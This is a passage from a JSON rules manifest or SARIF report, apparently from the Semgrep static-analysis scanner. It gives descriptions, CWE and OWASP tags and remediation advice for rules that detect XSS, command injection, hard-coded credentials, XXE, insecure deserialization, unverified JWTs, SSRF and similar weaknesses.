Rule](https://semgrep.dev/r/javascript.browser.security.insecure-document-method.insecure-document-method)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"User controlled data in methods like `innerHTML`, `outerHTML` or `document.write` is an anti-pattern that can lead to XSS vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.browser.security.insecure-document-method.insecure-document-method","id":"javascript.browser.security.insecure-document-method.insecure-document-method","name":"javascript.browser.security.insecure-document-method.insecure-document-method","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.browser.security.insecure-document-method.insecure-document-method"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Request data detected in os.system. This could be vulnerable to a command injection and should be avoided. If this must be done, use the 'subprocess' module instead and pass the arguments as a list. See https://owasp.org/www-community/attacks/Command_Injection for more information."},"help":{"markdown":"Request data detected in os.system. This could be vulnerable to a command injection and should be avoided. If this must be done, use the 'subprocess' module instead and pass the arguments as a list. See https://owasp.org/www-community/attacks/Command_Injection for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.command.command-injection-os-system.command-injection-os-system)\n - [https://owasp.org/www-community/attacks/Command_Injection](https://owasp.org/www-community/attacks/Command_Injection)\n","text":"Request data detected in os.system. This could be vulnerable to a command injection and should be avoided. If this must be done, use the 'subprocess' module instead and pass the arguments as a list. See https://owasp.org/www-community/attacks/Command_Injection for more information."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.command.command-injection-os-system.command-injection-os-system","id":"python.django.security.injection.command.command-injection-os-system.command-injection-os-system","name":"python.django.security.injection.command.command-injection-os-system.command-injection-os-system","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.command.command-injection-os-system.command-injection-os-system"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.redis.ruby-redis-hardcoded-sentinels-secret.ruby-redis-hardcoded-sentinels-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/ruby.redis.ruby-redis-hardcoded-sentinels-secret.ruby-redis-hardcoded-sentinels-secret","id":"ruby.redis.ruby-redis-hardcoded-sentinels-secret.ruby-redis-hardcoded-sentinels-secret","name":"ruby.redis.ruby-redis-hardcoded-sentinels-secret.ruby-redis-hardcoded-sentinels-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.redis.ruby-redis-hardcoded-sentinels-secret.ruby-redis-hardcoded-sentinels-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an insufficient curve size for EC. NIST recommends a key size of 224 or higher. For example, use 'ec.SECP256R1'."},"help":{"markdown":"Detected an insufficient curve size for EC. NIST recommends a key size of 224 or higher. For example, use 'ec.SECP256R1'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cryptography.security.insufficient-ec-key-size.insufficient-ec-key-size)\n - [https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-57Pt3r1.pdf](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-57Pt3r1.pdf)\n - [https://cryptography.io/en/latest/hazmat/primitives/asymmetric/ec/#elliptic-curves](https://cryptography.io/en/latest/hazmat/primitives/asymmetric/ec/#elliptic-curves)\n","text":"Detected an insufficient curve size for EC. NIST recommends a key size of 224 or higher. For example, use 'ec.SECP256R1'."},"helpUri":"https://semgrep.dev/r/python.cryptography.security.insufficient-ec-key-size.insufficient-ec-key-size","id":"python.cryptography.security.insufficient-ec-key-size.insufficient-ec-key-size","name":"python.cryptography.security.insufficient-ec-key-size.insufficient-ec-key-size","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.cryptography.security.insufficient-ec-key-size.insufficient-ec-key-size"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the Validator parser with `parser.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\"). For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the Validator parser with `parser.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\"). For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.xxe.tainted-validator-xxe-spring.tainted-validator-xxe-spring)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the Validator parser with `parser.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\"). For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.spring.security.xxe.tainted-validator-xxe-spring.tainted-validator-xxe-spring","id":"java.spring.security.xxe.tainted-validator-xxe-spring.tainted-validator-xxe-spring","name":"java.spring.security.xxe.tainted-validator-xxe-spring.tainted-validator-xxe-spring","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.xxe.tainted-validator-xxe-spring.tainted-validator-xxe-spring"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.mysqlclient.python-mysqlclient-hardcoded-secret.python-mysqlclient-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.mysqlclient.python-mysqlclient-hardcoded-secret.python-mysqlclient-hardcoded-secret","id":"python.mysqlclient.python-mysqlclient-hardcoded-secret.python-mysqlclient-hardcoded-secret","name":"python.mysqlclient.python-mysqlclient-hardcoded-secret.python-mysqlclient-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.mysqlclient.python-mysqlclient-hardcoded-secret.python-mysqlclient-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_hdf()` function uses `pickle` when the `fixed` format is used during serializing. This function should not be used with untrusted data."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_hdf()` function uses `pickle` when the `fixed` format is used during serializing. This function should not be used with untrusted data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.deserialization.tainted-pandas-hdf-django.tainted-pandas-hdf-django)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://pandas.pydata.org/docs/reference/api/pandas.read_hdf.html](https://pandas.pydata.org/docs/reference/api/pandas.read_hdf.html)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://redfoxsec.com/blog/insecure-deserialization-in-python/](https://redfoxsec.com/blog/insecure-deserialization-in-python/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_hdf()` function uses `pickle` when the `fixed` format is used during serializing. This function should not be used with untrusted data."},"helpUri":"https://semgrep.dev/r/python.django.deserialization.tainted-pandas-hdf-django.tainted-pandas-hdf-django","id":"python.django.deserialization.tainted-pandas-hdf-django.tainted-pandas-hdf-django","name":"python.django.deserialization.tainted-pandas-hdf-django.tainted-pandas-hdf-django","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.deserialization.tainted-pandas-hdf-django.tainted-pandas-hdf-django"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected the decoding of a JWT token without a verify step. JWT tokens must be verified before use, otherwise the token's integrity is unknown. This means a malicious actor could forge a JWT token with any claims. Set 'verify' to `true` before using the token."},"help":{"markdown":"Detected the decoding of a JWT token without a verify step. JWT tokens must be verified before use, otherwise the token's integrity is unknown. This means a malicious actor could forge a JWT token with any claims. Set 'verify' to `true` before using the token.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.jwt-simple.security.jwt-simple-noverify.jwt-simple-noverify)\n - [https://www.npmjs.com/package/jwt-simple](https://www.npmjs.com/package/jwt-simple)\n - [https://cwe.mitre.org/data/definitions/287](https://cwe.mitre.org/data/definitions/287)\n - [https://cwe.mitre.org/data/definitions/345](https://cwe.mitre.org/data/definitions/345)\n - [https://cwe.mitre.org/data/definitions/347](https://cwe.mitre.org/data/definitions/347)\n","text":"Detected the decoding of a JWT token without a verify step. JWT tokens must be verified before use, otherwise the token's integrity is unknown. This means a malicious actor could forge a JWT token with any claims. Set 'verify' to `true` before using the token."},"helpUri":"https://semgrep.dev/r/javascript.jwt-simple.security.jwt-simple-noverify.jwt-simple-noverify","id":"javascript.jwt-simple.security.jwt-simple-noverify.jwt-simple-noverify","name":"javascript.jwt-simple.security.jwt-simple-noverify.jwt-simple-noverify","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","CWE-345: Insufficient Verification of Data Authenticity","CWE-347: Improper Verification of Cryptographic Signature","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.jwt-simple.security.jwt-simple-noverify.jwt-simple-noverify"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected the use of an insecure deserialization library in a Flask route. These libraries are prone to code execution vulnerabilities. Ensure user data does not enter this function. To fix this, try to avoid serializing whole objects. Consider instead using a serializer such as JSON."},"help":{"markdown":"Detected the use of an insecure deserialization library in a Flask route. These libraries are prone to code execution vulnerabilities. Ensure user data does not enter this function. To fix this, try to avoid serializing whole objects. Consider instead using a serializer such as JSON.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.insecure-deserialization.insecure-deserialization)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n","text":"Detected the use of an insecure deserialization library in a Flask route. These libraries are prone to code execution vulnerabilities. Ensure user data does not enter this function. To fix this, try to avoid serializing whole objects. Consider instead using a serializer such as JSON."},"helpUri":"https://semgrep.dev/r/python.flask.security.insecure-deserialization.insecure-deserialization","id":"python.flask.security.insecure-deserialization.insecure-deserialization","name":"python.flask.security.insecure-deserialization.insecure-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","LOW CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.insecure-deserialization.insecure-deserialization"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.knex.node-knex-empty-password.node-knex-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/javascript.knex.node-knex-empty-password.node-knex-empty-password","id":"javascript.knex.node-knex-empty-password.node-knex-empty-password","name":"javascript.knex.node-knex-empty-password.node-knex-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","MEDIUM CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.knex.node-knex-empty-password.node-knex-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.sql.drivermanager-hardcoded-secret.drivermanager-hardcoded-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.sql.drivermanager-hardcoded-secret.drivermanager-hardcoded-secret","id":"kotlin.sql.drivermanager-hardcoded-secret.drivermanager-hardcoded-secret","name":"kotlin.sql.drivermanager-hardcoded-secret.drivermanager-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.sql.drivermanager-hardcoded-secret.drivermanager-hardcoded-secret"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Registering the identity used by an App with AD allows it to interact with other services without using username and password. Set the `identity` block in your appservice."},"help":{"markdown":"Registering the identity used by an App with AD allows it to interact with other services without using username and password. Set the `identity` block in your appservice.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.azure.security.appservice.appservice-account-identity-registered.appservice-account-identity-registered)\n - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/app_service#identity](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/app_service#identity)\n","text":"Registering the identity used by an App with AD allows it to interact with other services without using username and password. Set the `identity` block in your appservice."},"helpUri":"https://semgrep.dev/r/terraform.azure.security.appservice.appservice-account-identity-registered.appservice-account-identity-registered","id":"terraform.azure.security.appservice.appservice-account-identity-registered.appservice-account-identity-registered","name":"terraform.azure.security.appservice.appservice-account-identity-registered.appservice-account-identity-registered","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","LOW CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.azure.security.appservice.appservice-account-identity-registered.appservice-account-identity-registered"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected usage of noassert in Buffer API, which allows the offset the be beyond the end of the buffer. This could result in writing or reading beyond the end of the buffer."},"help":{"markdown":"Detected usage of noassert in Buffer API, which allows the offset the be beyond the end of the buffer. This could result in writing or reading beyond the end of the buffer.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.detect-buffer-noassert.detect-buffer-noassert)\n - [https://cwe.mitre.org/data/definitions/119.html](https://cwe.mitre.org/data/definitions/119.html)\n","text":"Detected usage of noassert in Buffer API, which allows the offset the be beyond the end of the buffer. This could result in writing or reading beyond the end of the buffer."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.detect-buffer-noassert.detect-buffer-noassert","id":"javascript.lang.security.detect-buffer-noassert.detect-buffer-noassert","name":"javascript.lang.security.detect-buffer-noassert.detect-buffer-noassert","properties":{"precision":"very-high","tags":["CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer","LOW CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.detect-buffer-noassert.detect-buffer-noassert"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.sql.apache-hardcoded-empty-secret.apache-hardcoded-empty-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.sql.apache-hardcoded-empty-secret.apache-hardcoded-empty-secret","id":"kotlin.sql.apache-hardcoded-empty-secret.apache-hardcoded-empty-secret","name":"kotlin.sql.apache-hardcoded-empty-secret.apache-hardcoded-empty-secret","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.sql.apache-hardcoded-empty-secret.apache-hardcoded-empty-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.net.tainted-flask-http-request-requests.tainted-flask-http-request-requests)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.flask.net.tainted-flask-http-request-requests.tainted-flask-http-request-requests","id":"python.flask.net.tainted-flask-http-request-requests.tainted-flask-http-request-requests","name":"python.flask.net.tainted-flask-http-request-requests.tainted-flask-http-request-requests","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.net.tainted-flask-http-request-requests.tainted-flask-http-request-requests"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The AWS CodeBuild Project is unencrypted. The AWS KMS encryption key protects projects in the CodeBuild. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account."},"help":{"markdown":"The AWS CodeBuild Project is unencrypted. The AWS KMS encryption key protects projects in the CodeBuild. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-codebuild-project-unencrypted.aws-codebuild-project-unencrypted)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"The AWS CodeBuild Project is unencrypted. The AWS KMS encryption key protects projects in the CodeBuild. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-codebuild-project-unencrypted.aws-codebuild-project-unencrypted","id":"terraform.aws.security.aws-codebuild-project-unencrypted.aws-codebuild-project-unencrypted","name":"terraform.aws.security.aws-codebuild-project-unencrypted.aws-codebuild-project-unencrypted","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-codebuild-project-unencrypted.aws-codebuild-project-unencrypted"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application's App Transport Security (ATS) configuration leverages the in-built public key pinning mechanisms however has pins which are Certificate Authority Identities, rather than Leaf Identities. Trusting a Certificate Authority is much more lenient than trusting a single leaf identity. Consider pinning to leaf identities rather than CA, following the principle of least privelege."},"help":{"markdown":"The application's App Transport Security (ATS) configuration leverages the in-built public key pinning mechanisms however has pins which are Certificate Authority Identities, rather than Leaf Identities. Trusting a Certificate Authority is much more lenient than trusting a single leaf identity. Consider pinning to leaf identities rather than CA, following the principle of least privelege.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.insecure-communication.ats.ats-pins.ATS-CA-pins)\n - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication)\n","text":"The application's App Transport Security (ATS) configuration leverages the in-built public key pinning mechanisms however has pins which are Certificate Authority Identities, rather than Leaf Identities. Trusting a Certificate Authority is much more lenient than trusting a single leaf identity. Consider pinning to leaf identities rather than CA, following the principle of least privelege."},"helpUri":"https://semgrep.dev/r/swift.insecure-communication.ats.ats-pins.ATS-CA-pins","id":"swift.insecure-communication.ats.ats-pins.ATS-CA-pins","name":"swift.insecure-communication.ats.ats-pins.ATS-CA-pins","properties":{"precision":"very-high","tags":["CWE-272: Least Privilege Violation","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.insecure-communication.ats.ats-pins.ATS-CA-pins"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an 